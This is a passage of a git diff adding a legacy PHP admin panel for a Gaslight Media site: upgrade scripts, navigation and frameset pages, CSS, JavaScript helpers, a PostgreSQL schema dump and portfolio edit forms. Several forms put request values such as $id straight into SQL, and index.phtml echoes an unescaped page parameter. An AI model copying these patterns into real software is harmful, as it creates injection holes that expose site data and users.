+       echo 'replacing newlines with &lt;br&gt; in bus<br>';
+       $DB->db_exec( "update bus set description = replace(description,'\\n','<br>')" );
+       $DB->db_exec( "update bus set description2 = replace(description2,'\\n','<br>')" );
+       $DB->db_exec( "update bus set description3 = replace(description3,'\\n','<br>')" );
+       
+       echo 'replacing newlines with &lt;br&gt; in news<br>';
+       $DB->db_exec( "update news set description = replace(description,'\\n','<br>')" );
+       echo 'replacing newlines with &lt;br&gt; in news_block<br>';
+       $DB->db_exec( "update news_block set description2 = replace(description2,'\\n','<br>')" );
+
+       $DB->db_exec( "COMMIT WORK" );
+       /**
+         update media_category set description = replace(description,'http://devsys.gaslightmedia.com/www.upnorth.net/','http://www.upnorth.net/');
+         update bus_category set description = replace(description,'http://devsys.gaslightmedia.com/www.upnorth.net/','http://www.upnorth.net/');
+         */
+?>
diff --git a/admin/Toolbox/upgradefiles2.php b/admin/Toolbox/upgradefiles2.php
new file mode 100644 (file)
index 0000000..1ec1536
--- /dev/null
@@ -0,0 +1,38 @@
+<?php
+include '../../setup.phtml';
+include BASE . 'classes/class_db.inc';
+$dbh->beginTransaction();
+echo '<p>BEGIN WORK</p>';
+$sql = "
+  SELECT id,bus_id 
+    FROM files 
+ORDER BY bus_id,filename;";
+echo '<p>'.$sql.'</p>';
+try {
+    $data = $dbh->query($sql)->fetchAll(PDO::FETCH_ASSOC);
+} catch(PDOException $e) {
+    die($e->getMessage());
+}
+$sql = "
+UPDATE files
+   SET pos = :pos
+ WHERE id = :id";
+$stmt = $dbh->prepare($sql);
+if ($data) {
+       $bus_id = null;
+       $pos = 1;
+       foreach ($data as $row) {
+               if ($row['bus_id'] == $bus_id) {
+                       $pos++;
+               } else {
+                       $pos = 1;
+                       $bus_id = $row['bus_id'];
+               }
+        $stmt->bindParam(":pos", $pos, PDO::PARAM_INT);
+        $stmt->bindParam(":id", $row['id'], PDO::PARAM_INT);
+        $stmt->execute();
+       }
+}
+$dbh->commit();
+echo '<p>COMMIT WORK</p>';
+?>
diff --git a/admin/bug3.png b/admin/bug3.png
new file mode 100644 (file)
index 0000000..cc6d93b
Binary files /dev/null and b/admin/bug3.png differ
diff --git a/admin/form.js b/admin/form.js
new file mode 100644 (file)
index 0000000..0bbabf0
--- /dev/null
@@ -0,0 +1,42 @@
+function reshow(object) {
+    artist = object.options[object.selectedIndex].text;
+        for (var i = document.track.names.length;i > 0;i--)
+            document.track.names.options[0] = null;
+        reloading = true;
+        showlinks();
+        document.track.names.options[0].selected = true;
+    return false;
+}
+
+function load(object) {
+    alert('Just testing: ' + object.options[object.selectedIndex].value);
+    //window.location.href = object.options[object.selectedIndex].value;
+    return false;
+}
+
+function showlinks() {
+    if (artist == 'Chris Rea') {
+        opt('cr/one.zip','The Road To Hell');
+        opt('cr/two.zip','Let\'s Dance');
+    }
+
+    if (artist == 'Annie Lennox') {
+        opt('al/why.zip','Why');
+        opt('al/wobg.zip','Walking on Broken Glass');
+    }
+
+    if (artist == 'Dina Carrol') {
+        opt('dc/track1.zip','Escaping');
+        opt('dc/track2.zip','Only Human');
+    }
+}
+
+function opt(href,text) {
+    if (reloading)  {
+        var optionName = new Option(text, href, false, false)
+        var length = document.track.names.length;
+        document.track.names.options[length] = optionName;
+    }
+    else
+        document.write('<OPTION VALUE="',href,'">',text,'<\/OPTION>');
+}
diff --git a/admin/index.phtml b/admin/index.phtml
new file mode 100644 (file)
index 0000000..c398566
--- /dev/null
@@ -0,0 +1,23 @@
+<?php
+include '../setup.phtml';
+$page = isset($_GET['page']) ? $_GET['page'] : 'splash.phtml';
+?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN"
+ "http://www.w3.org/TR/html4/frameset.dtd">
+<html>
+<head>
+<title><?php echo SITENAME;?> Administration</title>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+</head>
+<frameset cols="160,*">
+<frame name="Nav" src="nav.phtml" frameborder="0">
+<frame name="Main" src="<?php echo $page;?>" frameborder="0">
+<noframes><p>Admin Requires Frames Capable Browser</p>
+You can get a Standard Compliant browser from:
+<ul>
+<li>Microsoft <a href="http://www.microsoft.com/windows/ie/">Internet Explorer</a></li>
+<li>Mozilla's <a href="http://www.mozilla.org/products/firefox/">Firefox</a></li>
+</ul>
+</noframes>
+</frameset>
+</html>
diff --git a/admin/main.css b/admin/main.css
new file mode 100644 (file)
index 0000000..9bfdb62
--- /dev/null
@@ -0,0 +1,167 @@
+body {
+       padding-left: 50px;
+       font-family: arial, helvetica, sans-serif;
+       font-size: 12px;
+       }
+.clearer {
+ height:1px;
+ overflow:hidden;
+ margin-top:-1px;
+ clear:left;
+}
+h1 {font-size: 18px; color: #777;}
+form {margin: 0; padding: 0;}
+/* TOOLBOX NAV */
+ul#toolbox {list-style-position:inside;list-style-type:circle;}
+ul#toolbox li {list-style-type:circle}
+ul#toolbox li.toolboxArrow {list-style-type:none;padding-left:0;margin-left:-7px;}
+* html ul#toolbox li.toolboxArrow {margin-left:-20px;} /*style for IE*/
+/* APP  Nav*/
+ul.admin_nav 
+{
+margin: 0;
+list-style-type: none;
+padding: 5px 0;
+}
+ul.admin_nav li { display: inline; }
+ul.admin_nav li a
+{
+border-top: 1px solid #eee;
+border-right: 1px solid #ccc;
+border-bottom: 1px solid #ccc;
+border-left: 1px solid #eee;
+text-decoration: none;
+background-color: #ddd;
+color: #000;
+padding: 2px 6px;
+margin: 0 1px;
+font-weight: bold;
+font-size: 12px;
+}
+#admin-list-table {clear:left;width:500px;}
+#admin-list-table td {
+       border: 2px solid #ccc;
+       border-collapse: collapse;
+       background: #eee;
+       padding: 4px;}  
+/*#admin-list-table img {border: 0; text-align: center; margin: 0 auto; display: block;}*/
+#admin-list-table a:link {color: #666;}
+#admin-list-table a:visited {color: #666;}
+#admin-list-table a:active {color: #666;}
+#admin-list-table a:hover {color: #000;}
+
+/*event-edit-table */
+#admin-edit-table {
+       clear:left;
+       font-family: arial, helvetica, sans-serif;
+       border: 2px solid #ccc;
+       border-collapse: collapse;
+       font-size: 12px;
+       }
+#admin-edit-table td {
+       border: 2px solid #ccc;
+       border-collapse: collapse;
+       background: #eee;       padding: 4px;}          
+#admin-list-table table td {border:none;padding:0;margin:0;}
+#admin-edit-table table td {border:none;padding:0;margin:0;}
+#admin-edit-table select,
+#admin-edit-table input,
+#admin-edit-table option {font-size: 12px;}
+#glm-manual {position:absolute;right:200px;top:10px;width:300px;}
+#glm-manual a {padding:5px 2px;width:149px;background-color:#DDDDDD;color:#000;}
+div.fileupload { border:1px solid black;float:left;margin:5px; padding:5px;background-color:white; color:black; }
+div.fileupload p { margin:0; padding:0;float:left; }
+div.fileupload span { background-color:#c0c0c0;  }
+.level-0 {
+        font-weight: bold;
+        padding-left: 0;
+        background-color: #ccc;
+}
+.level-1 {
+        padding-left: 20px;
+        background-color: #ddd;
+        }
+.level-2 {padding-left: 40px;}
+.level-3 {padding-left: 60px;}
+.level-4 {padding-left: 80px;}
+.level-5 {padding-left: 100px;}
+.level-6 {padding-left: 120px;}
+table.banners,
+table.banners tr {
+       border: 1px solid #17186A;
+       border-collapse: collapse;
+}
+table.banners {
+       border: none;
+       border: 1px solid #17186A;
+       width: 100%;
+       margin: 5px 2px;
+}
+table.banners td.status {
+       text-align: center;
+}
+table.banners a img {
+       border: none;
+}
+table.banners thead th {
+       text-align: center;
+       background: #1D58A5;
+       border: 1px solid #17186A;
+       color: #FFF;
+       padding: 2px 6px;
+}
+table.banners thead a {
+       color: #FFF;
+}
+table.banners tbody tr td {
+       padding: 5px 5px;
+}
+table.banners tbody tr:hover {
+       background: #E3E3E3;
+}
+table.banners a:hover {
+       text-decoration: none;
+}
+.pager {
+       text-align: center;
+       background: #F6F6F6;
+       border-color: #DDD;
+       border-style: solid;
+       border-width: 1px 0;
+       margin: 1.0em 0;
+       padding: 8px 0;
+       text-align: center;
+       width: 100%;
+       font-size: 12px;
+
+}
+.pager b {
+       border: 1px solid #CCC;
+       border: 1px solid #17186A;
+       background: #FFF;
+       padding: 5px 7px;
+}
+.pager a {
+       background: #FFF;
+       border: 1px solid #CCC;
+       padding: 5px 7px;
+       text-decoration: none;
+       color: #000;
+}
+.pager a:hover {
+       border: 1px solid #999;
+       border: 1px solid #17186A;
+}
+#form-wrap legend {
+       color: #fff;
+       background: #1D58A5;
+       border: 1px solid #17186A;
+       padding: 2px 6px;
+}
+#form-wrap p {margin:1px;}
+#form-wrap label {
+       float: none;
+       margin-right: 0;
+       display: inline;
+       clear: left;
+}
diff --git a/admin/msg.js b/admin/msg.js
new file mode 100644 (file)
index 0000000..8ed837d
--- /dev/null
@@ -0,0 +1,29 @@
+function glm_confirm(o) {
+       var p = o.msg.split("\n");
+       var k = 0;
+       for(i = 0;i < p.length;i++) {
+               if(k > p[i].length)
+                       continue;
+               else 
+                       k = p[i].length;
+       }       
+       
+       var bound = "";
+       for(i = 0; i < k; i++) {
+               bound = bound+'_';
+       }
+       var str = bound+"\n\n"+o.msg+"\n\n"+bound+"\n\nAre You Sure?";
+       if(confirm(str)) {
+               if(o.popup == '1') {
+                       var nw = new Object();
+                       nw.url = o.url;
+                       nw.name = o.popup.name;
+                       nw.width = o.width;
+                       nw.height = o.height;
+                       glm_open(nw);
+               }
+               else {
+                       location.replace(o.url);
+               }
+       }
+}
diff --git a/admin/nav.phtml b/admin/nav.phtml
new file mode 100644 (file)
index 0000000..40a09a1
--- /dev/null
@@ -0,0 +1,66 @@
+<?php include_once '../setup.phtml'; ?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+ "http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Admin Navigation</title>
+<style type="text/css">
+body {margin: 2px; font-family: arial, sans-serif; font-size: 12px; background-color: #fff;}
+a:link {color: #004C64;}
+a:visited {color: #004C64;}
+a:hover {color: #2C788F;}
+a:active {color: #004C64;}
+
+h1 {
+    font-weight: bold;
+    text-align: center;
+    font-size: 14px;
+    background: url(../images/logoAdminSmall.gif) no-repeat;
+    text-indent: -3000px;
+    width: 130px;
+    height: 53px;
+    margin-left: 10px;
+    }
+ul { margin: 0; padding: 0; list-style-type: none; }
+li { margin: 0; padding: 0; display: block;    }
+li a {
+    text-decoration: none; 
+    display: block; 
+    margin: 0;
+    padding: 4px 8px; 
+    background-color: #004C64; 
+    border-bottom: 1px solid #eee;
+    width: 136px;
+    }
+li a:link, li a:visited, li a:active { color: #EEE; }
+li a:hover { background-color: #2C788F; color: #fff; }
+</style>
+</head>
+<body>
+    <h1><a href="<?php echo BASE_URL.$url;?>" target="_top"><?php echo SITENAME;?></a></h1>
+<ul>
+<?php
+
+$nav['Home']               = 'admin/splash.phtml';
+$nav["Toolbox"]            = "admin/Toolbox/list_bus_category.phtml";
+$nav["Newsletter"]         = "admin/Press/list_news_category.phtml";
+$nav["Web Portfolio"]      = "admin/portfolio/list_bus_category.phtml?switch=1&amp;department=wed";
+$nav["Recently Connected"] = "admin/portfolio/list_bus.phtml?catid=49&amp;switch=1&amp;department=isp";
+$nav["SEngine Contacts"]   = "admin/SearchEng-Contact/contact.phtml";
+$nav["SEngine News"]       = "admin/SearchEng-Newsletter/list_news_category.phtml";
+//$nav["Case Studies"]       = "admin/CaseStudies/list_case_category.phtml";
+$nav["Contacts"]           = "admin/Contact/";
+$nav['Server Statistics']  = 'admin/logs/';
+
+foreach ($nav as $name => $url) {
+    echo '
+    <li><a href="'.BASE_URL.$url.'" target="Main">'.$name.'</a></li>
+        ';
+}
+?>
+<li><a href="http://travel.gaslightmedia.com/members/" target="Main">Travel Reservation System</a></li>
+</ul>
+
+<a style="display: block; margin: 10px auto; text-align: center;" href="http://www.gaslightmedia.com/" target="_blank"><img alt="" src="http://www.gaslightmedia.com/assets/poweredby.gif" border="0" title="Gaslight Media Website"></a>
+</body>
+</html>
diff --git a/admin/portfolio/business.sql b/admin/portfolio/business.sql
new file mode 100644 (file)
index 0000000..cb73734
--- /dev/null
@@ -0,0 +1,301 @@
+--
+-- PostgreSQL database dump
+--
+
+SET client_encoding = 'SQL_ASCII';
+SET check_function_bodies = false;
+
+SET SESSION AUTHORIZATION 'postgres';
+
+--
+-- TOC entry 4 (OID 2200)
+-- Name: public; Type: ACL; Schema: -; Owner: postgres
+--
+
+REVOKE ALL ON SCHEMA public FROM PUBLIC;
+GRANT ALL ON SCHEMA public TO PUBLIC;
+
+
+SET SESSION AUTHORIZATION 'postgres';
+
+SET search_path = public, pg_catalog;
+
+--
+-- TOC entry 5 (OID 17145)
+-- Name: bus; Type: TABLE; Schema: public; Owner: postgres
+--
+
+CREATE TABLE bus (
+    id serial NOT NULL,
+    name text,
+    description text,
+    description2 text,
+    description3 text,
+    image text,
+    imagename text,
+    image2 text,
+    image2name text,
+    image3 text,
+    image3name text,
+    urlname text,
+    url text,
+    address text,
+    city text,
+    state text,
+    zip text,
+    phone text,
+    fax text,
+    email text,
+    pos integer,
+    file text,
+    filename text,
+    file2 text,
+    file2name text,
+    file3 text,
+    file3name text,
+    contactname text
+);
+
+
+--
+-- TOC entry 6 (OID 17145)
+-- Name: bus; Type: ACL; Schema: public; Owner: postgres
+--
+
+REVOKE ALL ON TABLE bus FROM PUBLIC;
+
+
+SET SESSION AUTHORIZATION 'postgres';
+
+--
+-- TOC entry 11 (OID 17145)
+-- Name: bus_id_seq; Type: ACL; Schema: public; Owner: postgres
+--
+
+REVOKE ALL ON TABLE bus_id_seq FROM PUBLIC;
+
+
+SET SESSION AUTHORIZATION 'postgres';
+
+--
+-- TOC entry 7 (OID 17153)
+-- Name: bus_category; Type: TABLE; Schema: public; Owner: postgres
+--
+
+CREATE TABLE bus_category (
+    id serial NOT NULL,
+    parent integer,
+    category text,
+    intro text,
+    description text,
+    image text,
+    imagename text,
+    active boolean,
+    pos integer,
+    keyword text,
+    "template" integer
+);
+
+
+--
+-- TOC entry 8 (OID 17153)
+-- Name: bus_category; Type: ACL; Schema: public; Owner: postgres
+--
+
+REVOKE ALL ON TABLE bus_category FROM PUBLIC;
+
+
+SET SESSION AUTHORIZATION 'postgres';
+
+--
+-- TOC entry 12 (OID 17153)
+-- Name: bus_category_id_seq; Type: ACL; Schema: public; Owner: postgres
+--
+
+REVOKE ALL ON TABLE bus_category_id_seq FROM PUBLIC;
+
+
+SET SESSION AUTHORIZATION 'postgres';
+
+--
+-- TOC entry 9 (OID 17161)
+-- Name: bus_category_bus; Type: TABLE; Schema: public; Owner: postgres
+--
+
+CREATE TABLE bus_category_bus (
+    id serial NOT NULL,
+    busid integer,
+    catid integer,
+    pos integer
+);
+
+
+--
+-- TOC entry 10 (OID 17161)
+-- Name: bus_category_bus; Type: ACL; Schema: public; Owner: postgres
+--
+
+REVOKE ALL ON TABLE bus_category_bus FROM PUBLIC;
+
+
+SET SESSION AUTHORIZATION 'postgres';
+
+--
+-- TOC entry 13 (OID 17161)
+-- Name: bus_category_bus_id_seq; Type: ACL; Schema: public; Owner: postgres
+--
+
+REVOKE ALL ON TABLE bus_category_bus_id_seq FROM PUBLIC;
+
+
+SET SESSION AUTHORIZATION 'postgres';
+
+--
+-- TOC entry 14 (OID 17164)
+-- Name: bus_id_indx; Type: INDEX; Schema: public; Owner: postgres
+--
+
+CREATE UNIQUE INDEX bus_id_indx ON bus USING btree (id);
+
+
+--
+-- TOC entry 16 (OID 17165)
+-- Name: bus_category_id_indx; Type: INDEX; Schema: public; Owner: postgres
+--
+
+CREATE UNIQUE INDEX bus_category_id_indx ON bus_category USING btree (id);
+
+
+--
+-- TOC entry 18 (OID 17166)
+-- Name: bus_category_parent_indx; Type: INDEX; Schema: public; Owner: postgres
+--
+
+CREATE INDEX bus_category_parent_indx ON bus_category USING btree (parent);
+
+
+--
+-- TOC entry 20 (OID 17167)
+-- Name: bus_category_pos_indx; Type: INDEX; Schema: public; Owner: postgres
+--
+
+CREATE INDEX bus_category_pos_indx ON bus_category USING btree (pos);
+
+
+--
+-- TOC entry 17 (OID 17168)
+-- Name: bus_category_keyword_indx; Type: INDEX; Schema: public; Owner: postgres
+--
+
+CREATE INDEX bus_category_keyword_indx ON bus_category USING btree (keyword);
+
+
+--
+-- TOC entry 21 (OID 17169)
+-- Name: bus_category_template_indx; Type: INDEX; Schema: public; Owner: postgres
+--
+
+CREATE INDEX bus_category_template_indx ON bus_category USING btree ("template");
+
+
+--
+-- TOC entry 24 (OID 17170)
+-- Name: bus_category_bus_id_indx; Type: INDEX; Schema: public; Owner: postgres
+--
+
+CREATE UNIQUE INDEX bus_category_bus_id_indx ON bus_category_bus USING btree (id);
+
+
+--
+-- TOC entry 22 (OID 17171)
+-- Name: bus_category_bus_busid_indx; Type: INDEX; Schema: public; Owner: postgres
+--
+
+CREATE INDEX bus_category_bus_busid_indx ON bus_category_bus USING btree (busid);
+
+
+--
+-- TOC entry 23 (OID 17172)
+-- Name: bus_category_bus_catid_indx; Type: INDEX; Schema: public; Owner: postgres
+--
+
+CREATE INDEX bus_category_bus_catid_indx ON bus_category_bus USING btree (catid);
+
+
+--
+-- TOC entry 19 (OID 18565)
+-- Name: bus_category_pkey; Type: CONSTRAINT; Schema: public; Owner: postgres
+--
+
+ALTER TABLE ONLY bus_category
+    ADD CONSTRAINT bus_category_pkey PRIMARY KEY (id);
+
+
+--
+-- TOC entry 15 (OID 18567)
+-- Name: bus_pkey; Type: CONSTRAINT; Schema: public; Owner: postgres
+--
+
+ALTER TABLE ONLY bus
+    ADD CONSTRAINT bus_pkey PRIMARY KEY (id);
+
+
+--
+-- TOC entry 25 (OID 18569)
+-- Name: bus_category_bus_pkey; Type: CONSTRAINT; Schema: public; Owner: postgres
+--
+
+ALTER TABLE ONLY bus_category_bus
+    ADD CONSTRAINT bus_category_bus_pkey PRIMARY KEY (id);
+
+--
+-- TOC entry 27 (OID 18575)
+-- Name: $1; Type: FK CONSTRAINT; Schema: public; Owner: postgres
+--
+
+ALTER TABLE ONLY bus_category_bus
+    ADD CONSTRAINT "$1" FOREIGN KEY (catid) REFERENCES bus_category(id) ON DELETE CASCADE;
+
+
+--
+-- TOC entry 28 (OID 18579)
+-- Name: $2; Type: FK CONSTRAINT; Schema: public; Owner: postgres
+--
+
+ALTER TABLE ONLY bus_category_bus
+    ADD CONSTRAINT "$2" FOREIGN KEY (busid) REFERENCES bus(id) ON DELETE CASCADE;
+
+
+--
+-- TOC entry 3 (OID 2200)
+-- Name: SCHEMA public; Type: COMMENT; Schema: -; Owner: postgres
+--
+
+COMMENT ON SCHEMA public IS 'Standard public schema';
+
+REVOKE ALL on "bus" from PUBLIC;
+GRANT ALL on "bus" to "nobody";
+GRANT ALL on "bus" to "postgres";
+
+REVOKE ALL on "bus_id_seq" from PUBLIC;
+GRANT ALL on "bus_id_seq" to "nobody";
+GRANT ALL on "bus_id_seq" to "postgres";
+
+REVOKE ALL on "bus_category" from PUBLIC;
+GRANT ALL on "bus_category" to "nobody";
+GRANT ALL on "bus_category" to "postgres";
+
+REVOKE ALL on "bus_category_id_seq" from PUBLIC;
+GRANT ALL on "bus_category_id_seq" to "nobody";
+GRANT ALL on "bus_category_id_seq" to "postgres";
+
+REVOKE ALL on "bus_category_bus" from PUBLIC;
+GRANT ALL on "bus_category_bus" to "nobody";
+GRANT ALL on "bus_category_bus" to "postgres";
+
+REVOKE ALL on "bus_category_bus_id_seq" from PUBLIC;
+GRANT ALL on "bus_category_bus_id_seq" to "nobody";
+GRANT ALL on "bus_category_bus_id_seq" to "postgres";
+
+INSERT INTO bus_category (id,category,parent,pos,active) VALUES (nextval('bus_category_id_seq'),'Home',0,1,'t');
+
diff --git a/admin/portfolio/cktoolbox.js b/admin/portfolio/cktoolbox.js
new file mode 100755 (executable)
index 0000000..420a7d0
--- /dev/null
@@ -0,0 +1,47 @@
+var CkToolbox =
+{
+    init: function()
+    {
+        if ($('#description').is('textarea')) {
+            //  Only try to replace the textarea if the
+            //  CKEditor is compatible w/ the browser.
+            if (CKEDITOR.env.isCompatible) {
+                CKEDITOR.replace('description',
+                    {
+                        toolbar : 'Default',
+                        width : 570,
+                        height : 400,
+                        filebrowserImageBrowseUrl : '../../Toolkit/CKImages/browser.php?folder=1',
+                        filebrowserImageUploadUrl : '../../Toolkit/CKImages/connector.php?command=Upload',
+                                               filebrowserImageWindowWidth : '760',
+                                               filebrowserImageWindowHeight : '500'
+                    });
+            }
+        }
+        if ($('#glm_toolbox_mods').is('select')) {
+            $('#glm_toolbox_mods').change(function(){
+                if ($(this).val() == '') {
+                    $('#mod_coupons').hide();
+                    $('#mod_photos').hide();
+                    $('#mod_events').hide();
+                }
+                if ($(this).val() == 'coupons') {
+                    $('#mod_coupons').show();
+                    $('#mod_photos').hide();
+                    $('#mod_events').hide();
+                }
+                if ($(this).val() == 'events') {
+                    $('#mod_coupons').hide();
+                    $('#mod_photos').hide();
+                    $('#mod_events').show();
+                }
+                if ($(this).val() == 'photos') {
+                    $('#mod_coupons').hide();
+                    $('#mod_photos').show();
+                    $('#mod_events').hide();
+                }
+            });
+        }
+    }
+};
+$(document).ready(CkToolbox.init);
diff --git a/admin/portfolio/edit_bus.phtml b/admin/portfolio/edit_bus.phtml
new file mode 100644 (file)
index 0000000..e6748ed
--- /dev/null
@@ -0,0 +1,252 @@
+<?php
+session_start();
+//$Id: edit_bus.phtml,v 1.4 2012/02/03 19:10:55 matrix Exp $
+require_once "../../setup.phtml";
+require_once "toolbox_setup.inc";
+
+if(!$dbd = db_connect( CONN2_STR ))
+{
+       html_error(DB_ERROR_MSG, 1);
+}
+
+if(isset($id))
+{
+       $qs =  "SELECT  b.*
+       FROM    bus b,bus_category_bus bcb,bus_category bc
+       WHERE   b.id = $id
+       AND     bcb.busid = $id
+       AND     bcb.busid = b.id
+       AND     bcb.catid = bc.id";
+
+       if(!$res = db_exec($dbd, $qs))
+       html_error(DB_ERROR_MSG.$qs,1);
+       $row = db_fetch_array($res,0, PGSQL_ASSOC);
+       if(!$row[id])
+       html_error(DB_ERROR_MSG.$qs,1);
+}
+else
+{
+       $row = array (
+               "name" => "",
+               "catid" => $catid,
+               "address" => "",
+               "city" => "",
+               "state" => "",
+               "zip" => "",
+               "phone" => "",
+               "fax" => "",
+               "email" => "",
+               "url" => "",
+               "description" => "",
+               "image" => "",
+               "description2" => "",
+               "image2" => "",
+               "description3" => "",
+               "image3" => "",
+               "file" => "",
+               "file2" => "",
+               "file3" => ""
+       );
+}
+
+top2("Updatable Web Portfolios (Add/Edit)", HELP_BASE."bus.phtml?key=edit","ToolboxUserGuide_1.0");
+
+$lnav["List Web Portfolios"] = "list_bus.phtml?catid=$catid";
+html_nav_table($lnav, 3);
+
+$qs = "SELECT  id,category
+FROM   bus_category
+ORDER BY parent,pos";
+
+if(!$altcats = db_exec($dbd,$qs))
+html_error(DB_ERROR_MSG.$qs,0);
+
+?>
+<script>
+       function mySubmit()
+       {
+               var check = 0;
+               for( i = 0; i < <?echo pg_numrows($altcats);?>;i++ )
+               {
+                       if( document.myform.catid.options[i].selected )
+                       {
+                               check = 1;
+                               //document.myform.category.value += ':' + document.myform.catid.options[i].value;
+                       }
+               }
+               if( check == 0 )
+               {
+                               alert('Must select one Page from the list!');
+                       return(false);
+               }
+       }
+</script>
+<?php
+echo '<script type="text/javascript" src="'.GLM_APP_BASE_URL.'ckeditor/current/ckeditor.js"></script>';
+       if(MULTIPLE_CAT2)
+       {
+       ?>
+
+<form name="myform" action="update_bus.phtml?SID" method="POST" enctype="multipart/form-data" onSubmit="return(mySubmit(this));">
+       <?
+}
+else
+{
+       ?>
+
+<form name="myform" action="update_bus.phtml?SID" method="POST" enctype="multipart/form-data">
+       <?
+}
+       echo '<table id="admin-edit-table">';
+
+               echo "<tr><th colspan=2>Pages:</th></tr>";
+               if(isset($id) && $id != "") {
+                       $qs = "SELECT   bc.id as catid, bcb.id as id,bc.category,bcb.pos
+                       FROM    bus_category bc,bus_category_bus bcb,bus b
+                       WHERE   bcb.busid = $id
+                       AND             bcb.catid = bc.id
+                       AND             b.id = bcb.busid
+                       ORDER BY bc.category";
+
+            if(!$altres = db_exec($dbd,$qs)){
+                           html_error(DB_ERROR_MSG.$qs,0);
+            }
+            $oldalt = array();
+                       for($rel=0;$rel<db_numrows($altres);$rel++) {
+                               $altrow = db_fetch_array($altres,$rel,PGSQL_ASSOC);
+                               $oldalt[$rel] = array_merge_recursive($altrow,$oldalt);
+                       }
+               }
+       ?>
+       <tr><td class="navtd" align="right">Page:</td>
+               <td>
+                       <?$oldcatid = "";
+                       for($i=0;$i<db_numrows($altcats);$i++)
+                       {
+                                $altrow = db_fetch_array($altcats,$i,PGSQL_ASSOC);
+                                for($a=0;$a<count($oldalt);$a++)
+                                {
+                                               if(is_array($oldalt) && ($oldalt[$a][catid] == $altrow[id]))
+                                               {
+                                                                        $oldcatid .= ":".$altrow[id];
+                                               }
+                                }
+                        }
+               if( $oldcatid )
+               {
+                       $catid = $oldcatid;
+               }
+
+        ?>
+               <? echo parent_select($catid,NULL,"catid[]");?>
+               <?if(MULTIPLE_CAT){?>
+               <input type="hidden" name="category" value="">
+               <?}?>
+               <input type="hidden" name="oldcatid" value="<?echo $oldcatid?>">
+</td></tr>
+<?
+echo "<tr><td colspan=2><hr noshade></td></tr>";
+foreach($fields as $key=>$value) {
+       if($value[type] == "text") {
+       ?>
+       <tr><td class="navtd" align="right"><?echo $value[title]?></td>
+               <td><input name="<?echo $value[name]?>"
+                       value="<?echo htmlspecialchars($row[$value[name]])?>" size=40></td>
+       </tr>
+       <?
+}
+elseif($value['type'] == "seperator"){
+       echo '<tr><td colspan="2"><hr noshade></td></tr>';
+       echo '<tr><td colspan="2" align="center"><b>'.$value["name"].'</b></td></tr>';
+}
+elseif($value[type] == "img") {
+?>
+<tr></tr>
+<?
+echo "<input type=\"hidden\" name=\"old".$value[name]."\"
+value=\"".$row[$value[name]]."\">";
+if($row[$value[name]] != "") {
+       echo "<tr><td class=\"navtd2\" align=\"right\">Current Image:</td>";
+               echo "<td><img src=\"".MIDSIZED.$row[$value[name]]."\">
+               </td>
+       </tr>
+       <tr>
+               <td class=\"navtd2\" align=\"right\">Delete this image:</td>
+               <td>
+                       <input type=\"radio\" name=\"delete".$value[name]."\" value=\"1\">Yes
+                       <input type=\"radio\" name=\"delete".$value[name]."\" value=\"2\" CHECKED>No
+               </td>
+       </tr>";
+}
+echo "<tr><td class=\"navtd\" align=\"right\">New $value[title]:</td>";
+       echo "<td><input type=\"file\" name=\"".$value[name]."\"></td>";
+       echo "</tr>";
+       }
+       elseif($value[type] == "file") {
+       ?>
+       <tr></tr>
+       <?
+       echo "<input type=\"hidden\" name=\"old".$value[name]."\"
+       value=\"".$row[$value[name]]."\">";
+       if($row[$value[name]] != "") {
+               echo "<tr><td class=\"navtd2\" align=\"right\">Current File:</td>";
+                       echo "<td>".$row[$value[name]]."
+                       </td>
+               </tr>
+               <tr>
+                       <td class=\"navtd2\" align=\"right\">Delete this File:</td>
+                       <td>
+                               <input type=\"radio\" name=\"delete".$value[name]."\" value=\"1\">Yes
+                               <input type=\"radio\" name=\"delete".$value[name]."\" value=\"2\" CHECKED>No
+                       </td>
+               </tr>";
+       }
+       echo "<tr><td class=\"navtd\" align=\"right\">New $value[title]:</td>";
+               echo "<td><input type=\"file\" name=\"".$value[name]."\"></td>";
+               echo "</tr>";
+}
+if($value[type] == "desc") {
+       echo "<tr><td class=\"navtd\" align=\"right\">$value[title]:</td>";
+        echo '<td><textarea name="description" id="description" cols="60" rows="60">'.$row[$value['name']].'</textarea></td>';
+               echo "</tr>";
+}
+elseif($value[type] == "hide") {
+       echo "<input type=\"hidden\" name=\"".$value[title]."\"
+       value=\"".$row[$value[name]]."\">";
+}
+elseif($value[type] == "bool") {
+       echo "<tr><td class=\"navtd\" align=\"right\">$value[title]:</td><td>";
+                       echo "<input type=\"radio\" name=\"".$value[name]."\" value=\"t\"".($row[$value[name]]=="t"?" checked":"");
+                       echo ">Yes";
+                       echo "<input type=\"radio\" name=\"".$value[name]."\" value=\"f\"".($row[$value[name]]!="t"?" checked":"");
+                       echo ">No";
+
+                       echo "</tr>";
+       }
+}
+echo "\n";
+echo "</script>
+";
+echo '<script type="text/javascript" src="./cktoolbox.js"></script>';
+echo '<input type="hidden" name="base_parent" value="'.$base_parent.'">';
+if(isset($id)) {
+?>
+<tr><td colspan=2 align=center>
+               <input type="submit" name="Command" value="Update">
+               <input type="submit" name="Command" value="Cancel">
+               <input type="submit" name="Command" value="Delete" onClick="
+               if(confirm('This will delete this Listing!\n Are you sure?'))
+               return(true);
+               else
+               return(false);
+               ">
+       </td>
+       <?
+}
+else {
+       form_footer("Insert","",2);
+}
+echo "</tr></table></form>";
+
+footer();
+?>
diff --git a/admin/portfolio/edit_bus_category.phtml b/admin/portfolio/edit_bus_category.phtml
new file mode 100644 (file)
index 0000000..b45ce42
--- /dev/null
@@ -0,0 +1,221 @@
+<?
+require_once "../../setup.phtml";
+require_once "toolbox_setup.inc";
+
+top2("Page (Add/Edit)", HELP_BASE."buscat.phtml?key=edit","ToolboxUserGuide_1.0");
+
+$lnav = array(
+               "List Pages" => "list_bus_category.phtml"
+               );
+if(!CAT_LOCK) {
+       $lnav["Add Page"] = "edit_bus_category.phtml";
+}
+html_nav_table($lnav, 2);
+
+if(!$dbd = db_connect( CONN2_STR )) html_error(DB_ERROR_MSG, 1);
+
+if(isset($id)) {
+    if( DELUXE_TOOLBOX == 1 ) {
+        $qs = "SELECT  id,category,intro,parent,description,image,pos
+                FROM   bus_category
+                WHERE  id = $id";
+    } else {
+        $qs = "SELECT  id,category,intro,parent,description,image,pos
+                FROM   bus_category
+                WHERE  id = $id";
+    }
+
+    if(!$res = db_exec($dbd, $qs))
+        html_error(DB_ERROR_MSG,1);
+
